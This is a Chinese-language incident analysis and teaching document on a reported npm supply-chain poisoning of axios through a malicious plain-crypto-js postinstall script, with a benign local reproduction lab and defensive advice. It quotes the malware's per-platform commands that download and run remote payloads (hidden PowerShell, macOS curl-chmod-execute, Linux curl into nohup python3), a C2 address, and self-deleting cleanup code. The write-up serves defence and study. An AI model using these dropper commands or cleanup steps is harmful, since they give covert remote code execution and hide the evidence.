axios-供应链投毒事件:安装即刻触发
字数 4039
更新时间 2026-04-03 12:17:59
Axios供应链投毒事件分析与复现教学文档
事件概述
事件名称:Axios供应链投毒攻击
发生时间:2026年3月31日
影响范围:JavaScript HTTP客户端库Axios的两个版本(1.14.1和0.30.4)
攻击性质:供应链投毒,安装时触发恶意代码执行
攻击目标:通过恶意npm包在开发者本地环境、CI/CD构建服务器中植入后门
一、攻击技术细节解析
1.1 攻击入口与传播机制
- 攻击载体:npm官方仓库中的恶意版本
axios@1.14.1axios@0.30.4
- 攻击特征:运行时代码未修改,仅修改包清单文件
- 触发条件:安装时自动执行
postinstall脚本 - 下载量背景:Axios每周下载量超1亿次,年下载量超36亿次,攻击影响面极广
1.2 技术实现原理
1.2.1 恶意依赖注入
攻击者在axios的package.json中注入恶意依赖项:
{
"dependencies": {
"plain-crypto-js": "^4.2.1"
}
}
对比分析:
- 正常版本(axios@1.14.0/0.30.3):无
plain-crypto-js依赖 - 恶意版本(axios@1.14.1/0.30.4):新增对
plain-crypto-js@^4.2.1的依赖
1.2.2 攻击链流程
完整的攻击执行链路如下:
npm install axios@1.14.1/0.30.4
↓
自动安装 plain-crypto-js@4.2.1
↓
执行 plain-crypto-js 的 postinstall 脚本
↓
Node.js 运行 setup.js
↓
按操作系统平台拉取二阶段载荷
↓
执行平台特定的远程代码
1.3 恶意载荷分析
1.3.1 核心恶意包:plain-crypto-js@4.2.1
恶意包的package.json包含以下关键配置:
{
"scripts": {
"postinstall": "node setup.js"
}
}
1.3.2 setup.js 混淆技术
setup.js采用多层混淆防护:
- 第一层混淆:字符串压缩为单行
- 第二层解码:
_trans_2函数- 反转字符串
- 替换下划线为等号
- Base64解码
- 第三层解码:
_trans_1函数- 对解码结果进行异或处理
- 最终执行:
_entry("6202033")
解码后获取C2服务器地址:http://sfrclak.com:8000/6202033
1.3.3 关键字符串信息
解码获得的核心字符串包括:
- 平台标识:
win32、darwin、linux - Node.js模块:
child_process、os、fs - 文件扩展名:
.ps1、.vbs、.py - 平台特定标识符:
packages.npm.org/product0(macOS)packages.npm.org/product1(Windows)packages.npm.org/product2(Linux)
二、多平台攻击链分析
2.1 Windows平台攻击链
攻击流程:
执行恶意脚本 → 生成VBS文件 → 隐藏执行PowerShell → 下载并执行RAT
技术细节:
- PowerShell定位:通过
where powershell命令查找PowerShell路径 - 文件伪装:将PowerShell复制为
%PROGRAMDATA%\wt.exe - VBS脚本生成:在
%TEMP%目录创建6202033.vbs - 隐蔽执行:
objShell.Run "cmd.exe /c curl -s -X POST -d ""packages.npm.org/product1"" ""C2_URL"" > ""PS_PATH"" & ""PS_BINARY"" -w hidden -ep bypass -file ""PS_PATH"" ""C2_URL"" & del ""PS_PATH"" /f", 0, False - 反检测技术:
-w hidden:隐藏PowerShell窗口-ep bypass:绕过执行策略限制- 立即删除临时脚本文件
2.2 macOS平台攻击链
攻击流程:
AppleScript脚本 → 下载macOS二进制 → 后台静默执行
技术细节:
- AppleScript内容:
set {a, s, d} to {"", "SCR_LINK", "/Library/Caches/com.apple.act.mond"}
do shell script "curl -o " & d & a & " -d packages.npm.org/product0" & " -s " & s & " && chmod 770 " & d & " && /bin/zsh -c "" & d & " " & s & " &" &> /dev/null"
- 路径伪装:使用
/Library/Caches/com.apple.act.mond模拟系统缓存文件 - 权限设置:
chmod 770赋予执行权限 - 后台执行:
nohup osascript将AppleScript放入后台执行
2.3 Linux平台攻击链
攻击流程:
curl下载Python脚本 → nohup后台执行
技术细节:
- 单行命令执行:
curl -o /tmp/ld.py -d packages.npm.org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 &
- 目标环境:主要针对CI/CD构建环境
- 持久化机制:Python脚本在
/tmp目录创建,通过nohup保持后台运行
三、反取证与隐蔽技术
3.1 攻击链隐蔽性设计
-
安装阶段触发:
- 普通用户认为安装过程是安全的
- CI/CD流水线自动安装依赖时难以察觉
-
主代码完整性:
- axios的
dist/axios.js、dist/axios.min.js、index.js文件哈希值未变 - 安全人员通过代码对比难以发现异常
- axios的
-
依赖包伪装:
- plain-crypto-js包含真实的加密库代码
- README和homepage页面模仿正常开源项目
3.2 主动反取证机制
setup.js执行完毕后执行以下清理操作:
// 1. 删除自身脚本
t.unlink(__filename, ...);
// 2. 删除恶意package.json
t.unlink("package.json", ...);
// 3. 恢复为正常package.json
t.rename("package.md", "package.json", ...);
清理效果:
- 删除所有恶意代码痕迹
- 将恶意package.json替换为干净的4.2.0版本清单
- 事后检查
node_modules/plain-crypto-js目录显示正常
四、事件时间线梳理
| 时间(UTC) | 事件描述 | 北京时间 |
|---|---|---|
| 2026-03-27 19:01 | axios@1.14.0正常发布 | 2026-03-28 03:01 |
| 2026-03-30 05:57 | plain-crypto-js@4.2.0发布 | 2026-03-30 13:57 |
| 2026-03-30 23:59 | plain-crypto-js@4.2.1恶意版本发布 | 2026-03-31 07:59 |
| 2026-03-31 00:21 | axios@1.14.1恶意版本发布 | 2026-03-31 08:21 |
| 2026-03-31 01:00 | axios@0.30.4恶意版本发布 | 2026-03-31 09:00 |
| 2026-03-31 03:15 | 恶意版本从npm下架 | 2026-03-31 11:15 |
| 2026-03-31 03:25 | plain-crypto-js被安全冻结 | 2026-03-31 11:25 |
| 2026-03-31 04:26 | 安全占位包发布 | 2026-03-31 12:26 |
五、本地环境模拟复现
5.1 实验环境搭建
创建以下目录结构和文件模拟攻击场景:
5.1.1 安全基线包(axios-good-sim)
package.json:
{
"name": "axios-good-sim",
"version": "1.14.0-demo",
"description": "Safe baseline package for the axios supply-chain reproduction lab.",
"main": "index.js",
"license": "UNLICENSED"
}
index.js:
"use strict";
module.exports = function demoRequestClient() {
return "safe-baseline-package";
};
5.1.2 恶意模拟包(axios-bad-sim)
package.json:
{
"name": "axios-bad-sim",
"version": "1.14.1-demo",
"description": "Safe poisoned-package simulation for the axios supply-chain reproduction lab.",
"main": "index.js",
"license": "UNLICENSED",
"dependencies": {
"trigger-dep-demo": "file:../trigger-dep-demo"
}
}
5.1.3 触发依赖包(trigger-dep-demo)
package.json:
{
"name": "trigger-dep-demo",
"version": "1.0.0",
"description": "Safe demonstration dependency that writes a local marker during postinstall.",
"main": "index.js",
"scripts": {
"postinstall": "node setup.js"
},
"license": "UNLICENSED"
}
setup.js(安全演示版本):
"use strict";
const fs = require("fs");
const path = require("path");
const initCwd = process.env.INIT_CWD || process.cwd();
const outputDir = path.join(initCwd, "repro-output");
const markerPath = path.join(outputDir, "POSTINSTALL_TRIGGERED.txt");
fs.mkdirSync(outputDir, { recursive: true });
const lines = [
"safe demo marker",
"This file proves that an npm lifecycle script ran during installation.",
`time=${new Date().toISOString()}`,
`package=trigger-dep-demo@1.0.0`,
`init_cwd=${initCwd}`,
`script_cwd=${process.cwd()}`
];
fs.writeFileSync(markerPath, `${lines.join("\n")}\n`, "utf8");
console.log("[trigger-dep-demo] Safe postinstall executed.");
console.log(`[trigger-dep-demo] Marker written to: ${markerPath}`);
5.1.4 受害者项目
创建三个测试目录:
victim-normal:安装安全包victim-bad:安装恶意包victim-ignore:安装恶意包但忽略脚本
5.2 模拟安装脚本(simulate-install.js)
核心功能实现:
// 参数解析
const [, , victimName, packageName, ...rest] = process.argv;
const ignoreScripts = rest.includes("--ignore-scripts");
// 依赖解析函数
function installPackage(sourceDir, targetNodeModules, options) {
const manifestPath = path.join(sourceDir, "package.json");
const manifest = JSON.parse(fs.readFileSync(manifestPath, "utf8"));
// 复制主包
copyPackageContents(sourceDir, targetPackageDir);
// 递归安装依赖
const dependencies = manifest.dependencies || {};
for (const spec of Object.values(dependencies)) {
installPackage(dependencySourceDir, nestedNodeModules, options);
}
// 条件执行postinstall脚本
if (!options.ignoreScripts && manifest.scripts && manifest.scripts.postinstall) {
runPostinstall(targetDir, manifest.scripts.postinstall, options);
}
}
5.3 演示脚本(run-demo.cmd)
Windows批处理脚本,自动化测试流程:
@echo off
setlocal
:: 清理测试目录
call :reset "%ROOT%victim-normal"
call :reset "%ROOT%victim-bad"
call :reset "%ROOT%victim-ignore"
:: 测试1:安装安全包
echo [1/3] Simulating baseline package install into victim-normal
node "%ROOT%simulate-install.js" victim-normal axios-good-sim
:: 测试2:安装恶意包
echo [2/3] Simulating poisoned package install into victim-bad
node "%ROOT%simulate-install.js" victim-bad axios-bad-sim
:: 测试3:安装恶意包但忽略脚本
echo [3/3] Simulating poisoned install with --ignore-scripts into victim-ignore
node "%ROOT%simulate-install.js" victim-ignore axios-bad-sim --ignore-scripts
:: 验证结果
echo [Result] Expected: only victim-bad should contain the marker
if exist "%BAD_MARKER%" (
echo [OK] victim-bad marker created: %BAD_MARKER%
) else (
echo [WARN] victim-bad marker missing
set "FAIL=1"
)
5.4 预期测试结果
- victim-normal:安装安全包,无
postinstall触发,无标记文件 - victim-bad:安装恶意包,触发
postinstall,创建标记文件 - victim-ignore:使用
--ignore-scripts标志,postinstall被阻止,无标记文件
六、防御与检测建议
6.1 预防措施
-
使用--ignore-scripts标志:
npm install --ignore-scripts npm ci --ignore-scripts -
配置npm全局设置:
npm config set ignore-scripts true -
锁定依赖版本:
- 使用
package-lock.json或yarn.lock - 定期检查依赖更新
- 使用npm audit检查安全漏洞
- 使用
-
实施供应链安全策略:
- 使用私有镜像仓库
- 实施依赖审查流程
- 对关键依赖进行代码审计
6.2 检测方法
-
包完整性验证:
# 检查package.json变化 npm diff axios@1.14.0 axios@1.14.1 # 检查文件哈希 shasum node_modules/axios/dist/axios.js -
监控安装过程:
- 监控网络请求到非常规域名
- 检查异常进程创建
- 监控临时目录文件创建
-
自动化检测工具:
- 使用
npm audit - 集成安全扫描工具(Snyk, WhiteSource等)
- 实现CI/CD流水线安全检查
- 使用
6.3 应急响应步骤
-
立即措施:
- 移除受影响版本的axios
- 检查系统是否有异常进程
- 扫描网络连接
-
调查分析:
- 检查
node_modules/plain-crypto-js目录 - 查看系统日志
- 分析网络流量
- 检查
-
恢复措施:
- 清理受感染系统
- 更新为安全版本
- 轮换可能泄露的凭证
七、技术总结与启示
7.1 攻击技术特点
- 供应链精准打击:针对高下载量的流行库
- 隐蔽性强:不修改运行时代码,仅修改包清单
- 多平台适配:针对Windows、macOS、Linux分别设计攻击链
- 反取证设计:自动清理痕迹,恢复为正常包外观
- 利用信任链:利用npm官方仓库和开发者对安装过程的信任
7.2 安全教训
- 安装过程不再安全:
npm install可能执行任意代码 - 依赖审计重要性:需要审查所有依赖,包括间接依赖
- CI/CD环境风险:构建服务器成为攻击目标
- 包管理器安全机制不足:需要额外安全控制
7.3 最佳实践建议
-
开发环境:
- 使用
--ignore-scripts作为默认安装选项 - 实施最小权限原则
- 定期更新依赖并检查变更
- 使用
-
生产环境:
- 使用经过审查的依赖版本
- 实施代码签名验证
- 建立软件物料清单(SBOM)
-
组织层面:
- 建立供应链安全策略
- 实施持续安全监控
- 制定应急响应计划
参考资料:
- 原始安全分析报告:https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan
- npm安全通告:相关安全公告
- 代码仓库:相关GitHub issue和修复记录
注意:本教学文档仅用于安全研究和教育目的,任何技术都应在合法授权范围内使用。供应链安全是共同责任,需要开发者、维护者和平台方共同努力维护。
相似文章
相似文章